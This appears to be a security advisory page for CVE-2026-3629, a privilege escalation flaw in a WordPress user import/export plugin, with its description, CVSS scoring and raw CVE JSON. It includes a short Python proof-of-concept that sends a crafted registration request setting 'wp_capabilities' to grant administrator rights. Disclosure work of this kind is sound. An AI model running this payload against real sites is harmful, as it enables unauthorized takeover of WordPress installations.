Security Vulnerability Report
中文
CVE-2026-3629 CVSS 8.1 HIGH

CVE-2026-3629

Published: 2026-03-21 23:16:51
Last Modified: 2026-04-24 16:31:15

Description

The Import and export users and customers plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.29.7. This is due to the 'save_extra_user_profile_fields' function not properly restricting which user meta keys can be updated via profile fields. The 'get_restricted_fields' method does not include sensitive meta keys such as 'wp_capabilities'. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator by submitting a crafted registration request that sets the 'wp_capabilities' meta key. The vulnerability can only be exploited if the "Show fields in profile" setting is enabled and a CSV with a wp_capabilities column header has been previously imported.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Import and export users and customers <= 1.29.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit script for CVE-2026-3629 # Note: This requires the plugin "Import and export users and customers" to be installed, # "Show fields in profile" enabled, and a CSV with wp_capabilities header previously imported. target_url = "http://example.com/wp-login.php?action=register" # Crafted registration payload to escalate privileges payload = { "user_login": "hacker", "user_email": "[email protected]", "wp_capabilities": "a:1:{s:13:\"administrator\";s:1:\"1\";}" # Serialized data for admin role } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("Registration request sent. Check if user was created as Administrator.") else: print(f"Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3629", "sourceIdentifier": "[email protected]", "published": "2026-03-21T23:16:51.393", "lastModified": "2026-04-24T16:31:14.807", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Import and export users and customers plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.29.7. This is due to the 'save_extra_user_profile_fields' function not properly restricting which user meta keys can be updated via profile fields. The 'get_restricted_fields' method does not include sensitive meta keys such as 'wp_capabilities'. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator by submitting a crafted registration request that sets the 'wp_capabilities' meta key. The vulnerability can only be exploited if the \"Show fields in profile\" setting is enabled and a CSV with a wp_capabilities column header has been previously imported."}, {"lang": "es", "value": "El plugin Importar y exportar usuarios y clientes para WordPress es vulnerable a escalada de privilegios en todas las versiones hasta, e incluyendo, la 1.29.7. Esto se debe a que la función 'save_extra_user_profile_fields' no restringe adecuadamente qué claves meta de usuario pueden ser actualizadas a través de los campos de perfil. El método 'get_restricted_fields' no incluye claves meta sensibles como 'wp_capabilities'. Esto hace posible que atacantes no autenticados escalen sus privilegios a Administrador al enviar una solicitud de registro manipulada que establece la clave meta 'wp_capabilities'. La vulnerabilidad solo puede ser explotada si la configuración \"Mostrar campos en el perfil\" está habilitada y se ha importado previamente un CSV con un encabezado de columna wp_capabilities."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/1.29.7/classes/columns.php#L193", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/1.29.7/classes/columns.php#L217", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/import-users-from-csv-with-meta/tags/1.29.7/classes/helper.php#L146", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3483330/import-users-from-csv-with-meta#file37", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/48dd9098-38e6-49da-8d22-27e12fddef51?source=cve", "source": "[email protected]"}]}}